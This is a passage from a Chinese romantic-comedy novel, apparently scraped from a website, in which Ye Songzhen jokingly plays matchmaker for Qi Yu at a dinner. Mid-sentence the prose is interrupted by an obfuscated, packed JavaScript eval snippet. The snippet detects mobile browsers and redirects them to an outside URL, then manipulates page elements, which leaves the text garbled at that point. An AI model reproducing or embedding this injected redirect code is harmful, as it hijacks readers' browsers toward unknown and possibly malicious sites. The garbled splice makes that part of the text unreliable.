“清华的女生,我见过太多了。”齐屿说,“我现在想找留学生。外语好,见识广,独立自主,国际化视角……跟国内的学生不一样。” 留学生?大家面面相觑。 齐屿的喜好果然难猜。 余峰又问:“什么样的留学生?” “QS排名前三十吧,”齐屿说,“澳洲的不要。” 众人无语。 余峰面露难色:“留学生,我还真不太认识。你们认识吗?” 大家摇了摇头。 这时,余峰灵光一闪:“诶!我们桌上不是有一个现成的留学生吗?” 所有人的目光齐刷刷地看向叶颂真,叶颂真还在喝她的甜汤。她被惊得呛了一下,连咳好几声。 齐屿递给叶颂真一张餐巾纸。 与此同时,他扭头看向余峰。 “叶颂真,你是留学生,你肯定认识很多留学生吧?”余峰催促,“赶紧给齐屿介绍几个,人家还等着呢。” 兴许是桌子上方的水晶灯太过耀眼,齐屿有一阵轻微的目眩。某一瞬间,他希望这个水晶灯能砸下来。 “齐屿,你想找留学生?”叶颂真用餐巾纸擦了擦嘴,“难道是因为留学生更有钱?你会不会太拜金了?” 齐屿已经无所谓了:“随你怎么想吧。” 哪怕他挖出一个萝卜坑,进来的也可能是黄瓜或茄子。 叶颂真提出一个很现实的问题:“可是,你们可能会异地,甚至异国。” “没关系,”齐屿说,“我的工作全球可飞。” 叶颂真:“……” 不知道的还以为他是咯咯哒呢。 哦,不。 嘎嘎哒。 叶颂真翻着自己的通讯录列表,打开某个同学的朋友圈,展示给齐屿看:“你看这个怎么样?她叫Aurora,是跟我同一年入学的本科同学。” 齐屿眯了一下眼睛,说:“看不清。” 叶颂真挪了一下椅子,往齐屿那儿靠了靠。 她一靠近,头发上的蝴蝶发卡就在齐屿的眼前晃着翅膀。轻盈,金属质地,薄如蝉翼。 叶颂真指着屏幕,向他介绍:“Aurora特别善良,乐于助人,爱护小动物,还积极参加各种慈善活动。” 齐屿的视线跟随着叶颂真的手指移动。她的指甲被修剪成半弧形,涂着淡粉色的指甲油,红润、晶透。 “就是吧……”叶颂真顿了顿,“她可能没那么聪明。本科换了三个专业,读了七年,至今还没毕业呢。” “这不太行吧?”齐屿否决,“交流起来可能会存在一定困难。” “你喜欢聪明的?”叶颂真的手指划拉了两下,又找到一个同学,“Clara很聪明,大学霸,绩点常年第一,年年拿奖学金。她平时还参加各种商赛、量化实习, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695311|207290||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 毕业之后年入几十万刀不成问题。” 齐屿将右手搭到叶颂真的椅背上,凑近了问:“优点说完了,缺点呢?” “缺点嘛……”叶颂真轻叹,“Clara对自我要求过于严格,精神压力比较大,经常吸marijuana,不然睡不着。” 齐屿:“……” 这还叫自我要求严格?这都放飞自我了。 齐屿说:“我认为,远离黄赌毒是最基本的共识。” “这个遵纪守法!”叶颂真发现一个新目标,“Odette个子高,身材好,长得特别漂亮。不黄不赌也不毒。” 她特意将照片放大,满意地欣赏起来。 齐屿瞟着叶颂真,她今天涂了睫毛膏,睫毛又长又翘,像洋娃娃。 他评价道:“……也没有你说的那么漂亮吧。” “这还不漂亮?”叶颂真惊呼,“你的眼睛要是没用就趁早捐了吧。” “男生和女生的审美不一样。” “怎么会不一样呢?”叶颂真反驳,“人家交过二十多个男朋友,遍布五大洲四大洋,什么人种都有。Odette完全是统一全球审美的存在!” 齐屿:“……” 齐屿:“有没有男朋友少一点的?没交过男朋友最好。” “虽然我没交过男朋友,但是你不能要求别人也不交男朋友吧……”叶颂真嘀咕着,继续向下翻动列表,“这有点儿难找。” 齐屿想说难找就别找了,她忽然停住手指:“我还真认识一个!” 叶颂真点进对方的朋友圈,果然一个异性都没有。 “Juniper应该没交过男朋友,”叶颂真说,“她只交过女朋友。” “同性恋?” “Juniper不是同性恋,是双性恋。她跟我说过,要是遇到好男人,她也不是不可以。” 齐屿:“……” 他怀疑叶颂真在消遣他。 叶颂真抬起眼睫,挑衅般地看着他:“齐屿,你觉得你是好男人吗?” 齐屿反问:“你觉得呢?” 叶颂真只觉得好笑:“你问我有什么用?我觉得你是你就是了?” 齐屿淡笑:“你要这么想也可以。” 叶颂真还想继续搜寻,齐屿拽住她的手腕:“你这媒人当不明白就别当了。” 她低头看了一眼被拉住的手腕,齐屿忽地松开手,放回自己的腿上。 “齐屿,是你太挑剔了。”叶颂真发出感慨,“找对象嘛,就像早高峰在地铁口找共享单车。但凡能骑的都让人骑走了,剩下的多多少少都有毛病。” “谁说的?”齐屿不同意,“你有毛病吗?我有毛病吗?我们俩可都是单身。” “我肯定没毛病,至于你……”叶颂真上下打量着齐屿,“谁知道你有没有什么难言之隐?” 齐屿冷笑:“你什么意思?” “说不定你某些方面不行呢?”叶颂真轻哼,“还非得让人说清楚……” “我不行?”齐屿的语气不咸不淡,“你怎么不说你不行?” “我有什么行不行的?”叶颂真说得理所当然,“我躺着不就行了?” 话音刚落,她猛地一怔。 她在跟齐屿讨论什么呀?